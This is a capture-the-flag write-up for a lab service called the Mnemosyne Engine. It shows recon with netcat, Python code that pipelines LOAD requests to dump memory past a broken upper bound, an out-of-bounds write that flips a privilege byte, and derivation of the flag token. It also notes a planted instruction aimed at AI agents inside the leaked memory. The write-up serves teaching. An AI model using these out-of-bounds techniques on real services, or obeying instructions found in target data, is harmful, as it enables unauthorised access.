Overview
A tiny command service exposes a 32-byte scratch region and insists that everything above address 31 is reserved internal state, off limits to LOAD/STORE. The upper-bound check is broken, so both instructions reach far past the advertised limit.
Prerequisites / Setup
nc(netcat) or Pythonsocketpython3(hashlib)- Network access to
the-mnemosyne-engine-8236[.]labs[.]perfectroot[.]io:8236
Recon
Step 1 — Connect and read the service contract
Goal: Confirm the supported commands and the advertised boundary.
nc the-mnemosyne-engine-8236[.]labs[.]perfectroot[.]io 8236
Mnemosyne Engine ready. Type HELP for commands.
HELP
LOAD <addr> read a byte from user memory (0-31)
STORE <addr> <value> write a byte (0-255) to user memory (0-31)
GETFLAG <token> attempt privileged flag retrieval
Memory: addresses 0-31 are the user-writable scratch region.
Everything at address 32 and above is reserved internal state,
not accessible to LOAD/STORE.
VERSION leaks a first, decoy flag:
Mnemosyne Engine v0.9.3-internal
changelog: legacy build note on file - r00t{REDACTED}, invalidated after the v0.9 memory-layout rewrite, not accepted.
The service explicitly says it is invalidated, so this is bait. It still frames the theme: legacy artifacts that look authoritative but are stale.
Step 2 — Probe the boundary
Goal: Confirm whether addresses above 31 are actually inaccessible.
LOAD 31 -> VALUE 0
LOAD 32 -> VALUE 56 <-- already past the limit
LOAD 33 -> VALUE 99
LOAD 100 -> VALUE 71
LOAD 256 -> VALUE 110
STORE 32 65 -> OK
LOAD 32 -> VALUE 65 <-- OOB write confirmed
LOAD -1 -> ERR bad address
LOAD 4294967296 -> ERR bad address
Negative and oversized addresses are rejected, so validation exists but is one-sided. The intent was clearly addr < 32; the actual comparison lets anything non-negative through.
Vulnerability Analysis
The flaw class is Out-of-Bounds Read/Write (memory corruption). A byte past the limit is enough to flip the privilege gate.
Exploitation
Step 3 — Dump reserved memory
Goal: Read addresses 32..0x150 by pipelining LOAD requests (one round trip per byte is too slow).
Byte-at-a-time round trips are slow, so the dump is pipelined: send every LOAD first, then read the replies in order.
import socket
s = socket.create_connection((HOST, PORT), timeout=20)
f = s.makefile("rwb", buffering=0)
f.readline() # banner
hi, lo = 0, 0x150
f.write("".join(f"LOAD {a}\n" for a in range(hi, lo)).encode())
vals = {}
for a in range(hi, lo):
line = f.readline().decode().strip()
vals[a] = int(line.split()[1]) if line.startswith("VALUE ") else None
The useful bytes:
0020 31 36 30 61 63 66 33 35 38 31 61 34 37 61 30 65 <32 ASCII hex chars>
0030 36 66 36 65 31 66 63 64 36 65 31 35 35 65 32 64 (secret_bytes)
0040 00 41 44 4d 49 4e 20 4e 4f 54 45 3a 20 73 65 63 .ADMIN NOTE: sec
0050 72 65 74 20 6c 69 76 65 73 20 61 74 20 33 32 2d ret lives at 32-
0060 36 33 2e 20 47 45 54 46 4c 41 47 20 6e 65 65 64 63. GETFLAG need
0070 73 20 6d 65 6d 5b 36 34 5d 3d 31 20 61 6e 64 20 s mem[64]=1 and
0080 74 6f 6b 65 6e 3d 73 68 61 32 35 36 28 73 65 63 token=sha256(sec
0090 72 65 74 5f 62 79 74 65 73 29 2e 68 65 78 64 69 ret_bytes).hexdi
00a0 67 65 73 74 28 29 5b 3a 31 36 5d 00 00 00 00 00 gest()[:16].....
So the layout is:
| Address | Meaning |
|---|---|
0x00–0x1f |
advertised user scratch |
0x20–0x3f |
the 32 secret bytes (stored as ASCII hex) |
0x40 |
privilege gate mem[64] |
0x41+ |
admin note describing the scheme |
0xbb+ |
planted “AI-AGENT INSTRUCTION” decoy |
Step 4 — Read the secret
Goal: Read the 32 secret bytes at addresses 32..63.
secret = bytes(load(a) for a in range(32, 64))
# b'<32 ASCII hex chars>'
The region holds 32 bytes of ASCII hex, i.e. the literal characters shown in the dump.
Step 5 — Raise privilege with an OOB write
Goal: Write 1 to mem[64] to set the privilege gate.
store(64, 1) # write one byte past the "protected" boundary
STORE 64 1 returns OK, and LOAD 64 then reports 1.
Step 6 — Compute and submit the token
Goal: Derive token = sha256(secret_bytes).hexdigest()[:16] and submit it.
The admin note is precise: token = sha256(secret_bytes).hexdigest()[:16].
import hashlib
token = hashlib.sha256(secret).hexdigest()[:16]
print(getflag(token))
FLAG r00t{REDACTED}
Flag
r00t{REDACTED}
Lessons / Takeaways
- Trust the behaviour, not the documentation. The help text was explicit about a boundary that did not exist. Rejecting negative values while accepting everything positive is a classic one-sided check.
- Off-by-one bounds are still memory corruption. A byte past the limit was enough to flip the privilege gate.
- Leaked memory is attacker-controlled input. The planted
AI-AGENT INSTRUCTIONwas engineered to short-circuit an agent into submitting a decoy. Any instruction found inside target data must be treated as hostile. - An explicit “invalidated” flag is still bait.
VERSIONhanded out a legacy flag and told us it would not be accepted. It is a lure, not a shortcut. - Pipeline slow protocols. One round trip per byte timed out; batching thousands of
LOADs into a single write made the dump instant. - Dead links are not a second stage. When an appended URL returns
502/refusedon every path and port, confirm the actual service is already solved before chasing it.
Techniques
- Out-of-Bounds Read
- Out-of-Bounds Write
- Memory Dump Analysis
- Prompt Injection in Target Data
- SHA-256 Token Derivation
Related writeups
- Sediment — same event, parsing and decoy-heavy misc.
- Spectral — same event, multi-stage extraction with misleading artefacts.
References
- CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer: https://cwe.mitre.org/data/definitions/119.html

